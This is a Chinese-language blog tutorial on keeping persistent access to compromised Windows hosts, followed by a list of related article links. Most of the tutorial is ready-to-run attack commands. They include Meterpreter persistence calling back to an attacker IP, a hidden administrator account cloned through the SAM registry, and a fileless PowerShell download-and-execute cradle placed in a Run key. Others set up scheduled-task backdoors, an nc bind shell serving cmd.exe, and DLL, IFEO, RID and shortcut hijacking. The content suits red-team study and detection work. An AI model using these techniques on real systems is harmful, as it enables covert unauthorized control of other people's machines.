Windows权限维持
前言
最近终于不是那么忙了,有时间静下心来学点知识,这篇文章自起稿到发布,用时近三周,其中有近一周的时间在迷茫在焦躁,甚至怀疑、否定自己。网上的表哥们个顶个儿的优秀,于是就给自己很大的压力,所以那一个周的迷茫期,我打了一天的联盟,这里要谴责下自己,下次调节自己尽量快,别浪费时间,这样,强迫症的我也就不用半夜发稿了,哈哈哈。最后也想明白了,与其直接放弃,不如放空自己,事情还是要接着做,安全路还是要走,坚持苟到最后才能问鼎殿堂,成为真正的强者。所以靠着碎片时间学习、操作并整理出来。截止文章发布时间,北京疫情又反复了,看了三位病例的行程轨迹,自愧不如感慨万千,与12月初成都那位比起来,北漂们的生活既匆忙又真实,生存与生存真的是两个概念。
Window权限维持
几种常见的 Windows 系统后门,包括Windows系统隐藏用户、Shift粘粘键后门、注册表后门、Windows 计划任务、Windows 新服务后门、WMI后门等等。
0x00.Presistence模块实现持久后门
Meterpreter的脚本persistence.rb,他将创建一个meterprer服务,即使远程主机再次启动,该脚本依然可以让主机重新连接远程的攻击端口,由于meterpreter不需要身份验证,这也导致任何发现端口的黑客也可利用此渠道进入后门,在真实情况下,建议完成任务后尽快自行清理。
在获取主机session后,可以通过”-h”查看哪些选项可用:
配置持续Meterpreter会话,以等待用户登录到远程系统,并尝试每5秒钟在端口17722上的IP地址xx.xx.xx.xx连接回监听器。命令如下:
run persistence -U -i 5 -p 17722 -r xx.xx.xx.xx
过提示判断,该组件主要是在c盘Temp下建立一个vbs文件,在注册表中设置,开机启动该vbs脚本。重启主机并验证是否重连,发现开启监听端口后,主机重新连接了端口,产生了session:
注意:每次使用该模块,msf会自动生成一个rc文件,执行该文件的命令,可删除目标机器中的vbs脚本,防止对目标系统造成一些后续影响,建议在渗透测试结束后执行该操作。
0x01.隐藏账户
该方法是通过建立隐藏账户,制作系统用户远程控制后门,维持目标Windows系统权限。制作方法跟步骤如下:
Tip:解决中文乱码
chcp 65001
1)在目标主机cmd中输入以下命令,创建一个名为whoami$的隐藏账户,并把该隐藏账户设置为管理员权限。
net user zha0gongz1$ Liu78963 /add
net localgroup administrators zha0gongz1$ /add
如上图,我们已经创建成功,执行net user命令,发现是看不到zha0gongz1$用户,但是这就结束了吗,没有!虽然上面net user看不见该隐藏用户,但是在控制面板和计算机管理的本地用户和组中,仍然是可以看的到该用户的:
为了更好地隐藏我们的后门账户,我们还要开启目标主机的远程桌面进行如下操作。
打开注册表编辑器,找到HKEY_LOCAL_MACHINE\SAM\SAM
,单机右建,选择“权限”,把Administrator用户的权限,设置成“完全控制”权限,然后关闭注册表编辑器,再次打开即可。
这样SAM下的文件就都能看见了。
然后,在注册表编辑器的HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\Names
处,点击Administrator用户,在左侧找到和在右边显示的键值的类型一项“0x1f4”相同的目录名,也就是箭头所指目录“000001F4”:
复制000001F4
目录中的F键的值:
然后找到与隐藏账户whoami$右边类型的键值“0x3e9”相同的目录名
然后将000001F4
的F值粘贴到000003E9
的F值中,点击确定:
然后从注册表中右键导出000003E9
和zha0gongz1$,并删除zha0gongz1$用户 net user zha0gongz1$ /del:
此时,查看注册表以及本地用户和组或者控制面板,zha0gongz1$用户已经没有了:
最后,将刚才导出的两个后缀为.reg的注册表项导入注册表中:
这样我们的隐藏账户zha0gongz1$就创建好了。现在,不管你是在命令提示符下输入 net user 或者在系统用户管理界面都是看不到zah0gongz1$这个账户的,只有在注册表中才能看得到。
0x02.注册表键后门
该方法是通过将需要执行的后门程序或者攻击脚本路径添加到注册表的自动启动项中,从而实现目标主机启动或登录时便会执行后门程序使我们获得其控制权限。
一般我们使用注册表的如下位置:
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run // 开启时启动程序
HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Userinit // 登录时启动程序
(1)手动制作
首先我们制作一个metasploit后门:
将该后门程序上传到目标主机的C:\Windows\System32目录中:
然后在目标主机的meterpreter执行如下命令注册表进行操作制作后门:
reg enumkey -k HKLM\\software\\microsoft\\windows\\currentversion\\run #枚举run下的key
reg setval -k HKLM\\software\\microsoft\\windows\\currentversion\\run -v backdoor -d 'C:\windows\system32\backdoor.exe' #设置键值
reg queryval -k HKLM\\software\\microsoft\\windows\\currentversion\\Run -v backdoor #查看键值
如上图所示,后门创建成功。此时我们重新开一个metasploit监听,然后输入“shutdown -r -t 0”命令让目标主机重启,当目标主机重新启动后便会启动执行backdoor.exe后门程序,我们攻击机的新开的metasploit监听上就会成功上线:
使用以下命令也可以一键实现无文件注册表后门:
reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v "Keyname" /t REG_SZ /d "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -nop -w hidden -c \"IEX ((new-object net.webclient).downloadstring('http://192.168.28.142:8888/logo.gif'))\"" /f
我们还可以操作注册表的Userinit键,这个键值默认为C:\Windows\system32\userinit.exe,后面加路径,再加逗号也可以。这里也能够使系统启动时自动初始化程序。通常该注册键下面有一个userinit.exe,但这个键允许指定用逗号分隔的多个程序,例如“userinit.exe,OSA.exe”:
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Userinit
让目标主机在用户进行登陆时,winlogon运行指定的后门程序。
除此之外还有以下可利用的注册表键:
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnce // 只会在开机时启动一次
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServices
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServicesOnce
(2)Metasploit 下的利用
Metasploit通过使用Meterpreter脚本和后渗透模块来支持通过注册表的持久性。Meterpreter脚本将以VBS脚本的形式创建一个有效payload,该payload将被上传到目标主机的磁盘上,并创建一个注册表项,该注册表项将在用户登录期间循环运行该有效负载。
run persistence -U -P windows/x64/meterpreter/reverse_tcp -i 5 -p 4444 -r 10.10.99.xx
run persistence -X -P windows/x64/meterpreter/reverse_tcp -i 5 -p 4444 -r 10.10.99.xx
- -U指定启动方式为用户登录时自启动
- -X指定启动的方式为开机自启动
- -P 指定所使用的payload
- -i不断尝试反向连接的时间间隔,我们这里设置的是5秒钟执行一次
- –r指定攻击者的ip
- -p 指定攻击者监听的端口
(3)Empire 下的利用
在Empire上面有一个persistence/userland/registry后渗透模块,可以自动帮我们完成上面手动创建注册表后门的任务。
假设我们已经在Empire上面获得了一个目标主机的session,我们可以通过设置该模块在目标主机上创建注册表后门:
usemodule persistence/userland/registry
set Listener <监听名>
set RegPath HKCU:Software\Microsoft\Windows\CurrentVersion\Run
execute
如下图所示,成功在目标主机上创建后门:
注意:杀毒软件针对此类注册表后门有专门的查杀机制。
注册机开机启动项
- Load注册键
HKEY_CURRENT_USER\Software\Microsoft\WindowsNT\CurrentVersion\Windows
// 建一个字符串名为load键值
- Explorer\Run注册键
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run
- RunServicesOnce注册键
# 其中的程序会在系统加载时自动启动执行一次。
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunServicesOnce
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunServicesOnce
- 常用注册键
# 其下的所有程序在每次启动登录时都会按顺序自动执行。
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run
# 与Run键不同的是,RunOnce下的程序仅会被自动执行一次。
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce
- RunOnceEx键
#Tips: 该键是 Windows XP/2003 特有的自启动注册表项。
HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnceEx
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnceEx
0x03.Windows 计划任务后门
计划任务可以让目标主机在特定的时间执行我们预先准备的后门程序从而使我们获得目标系统的控制权。计划任务的持久化技术可以手动实现,也可以自动实现。有效负载可以从磁盘或远程位置执行,它们可以是可执行文件、powershell脚本或scriptlet的形式。
(1)利用 at 命令
at 命令是Windows自带的用于创建计划任务的命令,但是他主要工作在Windows Server 2008之前版本的操作系统中。我们可以通过at命令通过跳板机在目标主机DC上创建计划任务,让计算机在指定的时间执行木马程序,从而获得对内网目标主机的控制。
- 首先在目标主机上传metasploit生成的后门程序:
- 然后进入目标主机的shell使用net time命令确定目标主机的当前时间:
- 接着在目标主机的shell中使用at命令创建计划任务,让目标主机在指定的时间运行metasploit木马程序:
at 21:36:00 /every:M,T,W,Th,F c:\windows\system32\backdoor.exe
如上图所示,计划任务创建成功,目标主机将在每个工作日的21:36:00执行后门程序,我们便可以在这个时间获得目标机器的控制权
2)利用 schtasks 命令
上面我们讲了用at命令创建计划任务,但是该命令已经被Windows Vista、Windows Server 2008及之后版本的操作系统废弃了,代替他的是schtasks命命令。schtasks命令比at命令更为灵活、自由。下面来演示schtasks命令的使用,于是,攻击者开始使用schtasks命令来代替at命令。
利用schtasks创建后门的大致流程如下:
首先在目标主机上传metasploit生成的后门程序。
然后在目标主机上创建一个名称为“backdoor”的计划任务。该计划任务每分钟启动一次,启动程序为我们之前到C盘下的backdoor.exe,启动权限为system。命令如下:
schtasks /create /tn backdoor /sc minute /mo 1 /tr c:\windows\system32\backdoor.exe /ru system /f
然后新开一个metasploit监听,等待一分钟后这个监听便收到了目标主机的session,并且这个session还是system权限的。
(3)利用SharPersist工具
下载地址:https://github.com/fireeye/SharPersist/releases
SharPersist的创建是为了帮助使用多种不同的技术在Windows操作系统上建立持久性。它是一个国外安全人员用C#编写的命令行工具,可以反射性的加载Cobalt Strike的“execute-assembly”命令或任何其他支持反射性加载.NET程序集的框架。SharPersist采用模块化设计,以便将来添加新的持久性技术。还有一些与tradecraft相关的项已经内置到该工具及其支持的持久性技术中,例如file time stomping策略和最小化或隐藏运行应用程序。
该工具支持的持久性技术有:
keepass
-keepass配置文件后门reg
-注册表项添加/修改schtaskbackdoor
-通过向后门计划任务添加其他操作来完成该任务startupfolder
-启动文件夹中的lnk文件tortoisesvn
-乌龟svn钩子脚本service
-创建新的Windows服务schtask
-创建新的计划任务
如果用户具有管理员级别的特权,则可以通过SharPersist工具创建一个新的计划任务,该任务将在Windows登录期间执行我们上传好的有效载荷。
在目标主机上传我们新生成的metasploit木马和SharPersist程序:
然后使用以下命令创建我们恶意的计划任务:
SharPersist.exe -t schtask -c "C:\Windows\System32\cmd.exe" -a "/c C:\Users\Administrator\backdoor2.exe" -n "backdoor2" -m add -o logon
然后新开一个metasploit监听,收到目标主机的session,并且还是system权限的:
0x04.NC+注册表实现持久后门
注意:此方法防火墙一般都会拦截,实用性一般
使用meterpreter上传nc.exe,并枚举注册表内容(开机启动)
reg enumkey -k HKLM\\software\\microsoft\\windows\\currentversion\\run
向该注册表增加内容(开机启动)
reg setval -k HKLM\\software\\microsoft\\windows\\currentversion\\run -v nc -d 'C:\windows\system32\nc.exe -Ldp 11111 -e cmd.exe'
查看对应nc注册表键值是否增加成功:
reg queryval -k HKLM\\software\\microsoft\\windows\\currentversion\\run -v nc
确定重启后目标系统开机是否正常运行nc.exe(防火墙已经关闭,这里虽获取到session,但不稳定,不明原因,了解的师父还请留下宝贵的知识点,抱拳了)
0x05.DLL 劫持
在加载DLL过程中,系统都是先在程序目录加载DLL,如果没有找到就按照规定的顺序去搜索,但如果DLL的路径没有在system32中,攻击者就有可能伪造一个dll被程序加载。
系统在使用DLL搜索顺序取决于世否启用安全的DLL搜索模式 。
TIPS:
WindowsXP默认情况下禁用安全DLL搜索模式。之后OS默认启用安全DLL搜索模式。若要使用此功能,需创建 HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Session Manager\SafeDllSearchMode 注册表值,0为禁止,1为启用。
SafeDLLSearchMode启用后,搜索顺序如下:
1. 从其中加载应用程序的目录、
2. 系统目录。使用GetSystemDirectory函数获取此目录的路径。
3. 16位系统目录。没有获取此目录的路径的函数,但会搜索它。
4. Windows目录。 使用GetWindowsDirectory函数获取此目录。
5. 当前目录。
6. PATH环境变量中列出的目录。
SafeDLLSearchMode禁用后,搜索顺序如下:
1. 从其中加载应用程序的目录
2. 当前目录
3. 系统目录。使用GetSystemDirectory函数获取此目录的路径。
4. 16位系统目录。没有获取此目录的路径的函数,但会搜索它。
5. Windows目录。 使用GetWindowsDirectory函数获取此目录。
6. PATH环境变量中列出的目录。
DLL劫持利用搜索顺序来加载恶意DLL以代替合法DLL。如果应用程序使用Windows的DLL搜索来查找DLL,且攻击者可以将同名DLL的顺序置于比合法DLL更高的位置,则应用程序将加载恶意DLL。
可以用来劫持系统程序,也可以劫持用户程序。劫持系统程序具有兼容性,劫持用户程序则有针对性。可以劫持系统程序的dll有:
lpk.dll、usp10.dll、msimg32.dll、midimap.dll、ksuser.dll、comres.dll、ddraw.dll
以lpk.dll为列,explorer桌面程序的启动需要加载lpk.dll,当进入桌面后lpk.dll便被加载了,劫持lpk.dll之后,每次启动系统,自己的lpk.dll都会被加载,实现了持久化攻击的效果。
DLL 劫持利用搜索顺序来加载恶意DLL以代替合法DLL。如果应用程序使用Windows的DLL搜索来查找DLL,且攻击者可以将同名DLL的顺序置于比合法DLL更高的位置,则应用程序将加载恶意DLL。
编译后劫持用的DLL文件改成原DLL文件的名字,原DLL文件改为代码中调用DLL文件的名字。(为了保证应用程序的正常运行,需要在执行恶意DLL文件后继续加载应用程序缺失的DLL文件)。
0x06.文件夹启动
在每次开机或重启的时候就会运行启动文件夹下的程序。
C:\Users\{UserName}\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup
0x07.映像劫持
在下面注册表路径下创建一个子项,子项的名称为你要劫持的exe
名称,比如 cmd.exe
,然后创建一个值,键名为Debugger
, 值为要执行的恶意脚本。
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options
运行 cmd.exe
时执行成功运行 calc.exe
(测试时安全软件拦截,所以要先退出杀软)。
0x08. RID劫持
新建一个普通用户 zha0gz
,按照0x01中设置Administrator权限为完全控制时才能在下面注册表找到。
HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\Names
对于Windows系统来说,注册表下包含当前系统的所有帐户列表,每个帐户的默认键值对应该帐户详细信息的注册表位置 (即RID的十六进制表示)。
查看 Administrator
对应键值,数值名称为F
,数值内容 0030
的位置复制到 zha0gz
对应键值,数值名称为F
,数值内容 0030
的位置。
点击确定然后关机重启,登陆 zha0gz
用户。
0x09.快捷方式劫持
Windows快捷方式包含对系统上安装的软件或文件位置(网络或本地)的引用。快捷方式的文件扩展名是.LNK
,它为 红队提供了很多机会来执行各种格式的代码 exe、vbs、Powershell、scriptlet等。
如下案例,powershell 并没有做任何处理只做演示学习。
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -c "invoke-item 'C:\Program Files\Google\Chrome\Application\chrome.exe'; invoke-item c:\windows\system32\calc.exe"
Windows权限维持的更多相关文章
- [ Windows BAT Script ] BAT 脚本获取windows权限
BAT 脚本获取windows权限 @echo off echo I am trying to run as Administrator %1 %2 ver|find "5."&g ...
- 有关于一次windows权限方面的一次学习
由于最近需要使用windows的Local Group Policy的API,重新梳理一些有关windows权限的只是,这样需要理解一些关键概念,这些概念之间的关联联系形成了一张网络图.必须理解才能真 ...
- Windows权限维持总结
windows权限维持 注册服务 sc create 服务名 binpath= "cmd.exe /k 木马路径" start="auto" obj=" ...
- windows权限错误
1.installer "内部错误 2203 C:\WINDOWS\Installer\354787.ipi,-2147287035” 用户的local\Temp目录没有system权限 2 ...
- Windows权限提升基础知识和命令
介绍 这篇文章是介绍window的权限提升,虽然不是一个全面的指南,但会试图覆盖主要的技术,常用的资源列表在文章底部,可供大家参考. window权限提升基础知识 初始信息收集 在开始提权之前,我们需 ...
- python 添加Windows权限
# -*- coding: utf-8 -*- """ Created on Mon Jan 8 09:09:51 2018 @author: coordinate &q ...
- CVE-2018-8120 Windows权限提升
来源 : bigric3/cve-2018-8120 Detail : cve-2018-8120-analysis-and-exploit 演示图 下载 CVE-2018-8120.zip
- WINDOWS权限大牛们,请进
大家好, 我遇到一个问题,我的一台windows7去访问另一个电脑的共享,输入账号密码后,老是说密码不正确.而其他电脑去访问共享,密码账号密码后都OK 我想知道原因是什么?
- Linux上mount 挂载windows共享文件权限问题
在服务器部署的时候需要把文件夹设置在windows的共享文件上.在使用mount命令挂载到linux上后.文件路径和文件都是可以访问,但是不能写入,导致系统在上传文件的时候提示“权限不够,没有写权限” ...
随机推荐
- spring bean注册和实例化
1.左边3个接口定义了基本的Ioc容器的2.HierarchicalBeanFactory增加了getParentBeanFactory()具备了双亲Ioc的管理能力3.ConfigurableBea ...
- LaTeX中的表格
表格插入代码及注释: 显示效果: 更多命令可以看相关文档,通过在命令行终端输入 texdoc booktab 等命令打开文档.
- Django 的反向解析与有无名分组
无名分组(将加括号的正则表达式匹配到的内容当做位置参数自动传递给对应的视图函数) url(r'^test/(\d+)/',views.test), # 匹配一个或多个数字 def test(reque ...
- IdentityServer4系列 | 授权码模式
一.前言 在上一篇关于简化模式中,通过客户端以浏览器的形式请求IdentityServer服务获取访问令牌,从而请求获取受保护的资源,但由于token携带在url中,安全性方面不能保证.因此,我们可以 ...
- 第8.11节 Python类中记录实例变量属性的特殊变量__dict__
一. 语法释义 调用方法:实例. __dict__属性 __dict__属性返回的是实例对象中当前已经定义的所有自定义实例变量的名和值,用字典存储,每个元素为一个"实例变量名:值" ...
- 转:正则表达式的先行断言(lookahead)和后行断言(lookbehind)
正则表达式的先行断言和后行断言一共有4种形式: (?=pattern) 零宽正向先行断言(zero-width positive lookahead assertion) (?!pattern) 零宽 ...
- 第14.14节 爬虫实战准备:csdn博文点赞过程http请求和响应信息分析
如果要对csdn博文点赞,首先要登录CSDN,然后打开一篇需要点赞的文章,如<第14.1节 通过Python爬取网页的学习步骤>按<第14.3节 使用google浏览器获取网站访问的 ...
- Go语言的context包从放弃到入门
目录 一.Context包到底是干嘛用的 二.主协程退出通知子协程示例演示 主协程通知子协程退出 主协程通知有子协程,子协程又有多个子协程 三.Context包的核心接口和方法 context接口 e ...
- 在Linux中使用Dbeaver等GTK3界面的软件出现频繁闪烁的问题解决
问题复现 复现环境LinuxMint 19 Dbeaver: 7.3 输入法: ibus + ibus-table-wubi 如图,当光标移动到Sql Editor中会不停的闪-- 解决过程 先百度. ...
- Kubernetes Python Client 初体验之安装授权
最近想做一个基于flask的云平台管理服务器,利用python调用kubenetes提供的API来实现云平台的操作.笔者使用的是Windows,kubernetes集群安装在Ubuntu和Respbi ...